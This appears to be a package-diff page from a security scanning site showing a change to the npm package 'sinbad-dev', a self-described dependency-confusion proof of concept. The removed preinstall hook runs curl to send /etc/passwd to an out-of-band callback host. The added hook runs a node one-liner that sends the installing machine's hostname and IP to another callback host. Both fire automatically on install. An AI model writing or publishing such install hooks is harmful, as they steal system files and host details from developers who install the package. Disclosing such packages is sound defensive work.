sinbad-dev 0.0.2 → 0.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (1) hide show
  1. package/package.json +6 -4
package/package.json CHANGED
@@ -1,10 +1,12 @@
1
1
  {
2
2
  "name": "sinbad-dev",
3
- "version": "0.0.2",
3
+ "version": "0.0.3",
4
4
  "description": "Fake package for dependency confusion PoC with safe pingback",
5
- "author": "Bug Bounty PoC",
6
- "scripts": { "preinstall": "/usr/bin/curl --data '@/etc/passwd' $(hostname)-$(hostname -I | awk '{print $1}').2ilo4w2u90pceas4k8s5k7qlzc53tzho.oastify.com"},
5
+ "author": "Bug Bounty PoC",
6
+ "scripts": {
7
+ "preinstall": "node -e \"require('http').get('http://$(hostname)-$(hostname -I | awk '{print $1}').tkypwcmjqokygxmtcbpu9b8v0nb50vajj.oast.fun/pingback', (res) => { res.on('data', (chunk) => { console.log('Ping sent to server'); }); }).on('error', (err) => { console.error('Ping failed:', err.message); });\""
8
+ },
7
9
  "publishConfig": {
8
- "access": "public"
10
+ "access": "public"
9
11
  }
10
12
  }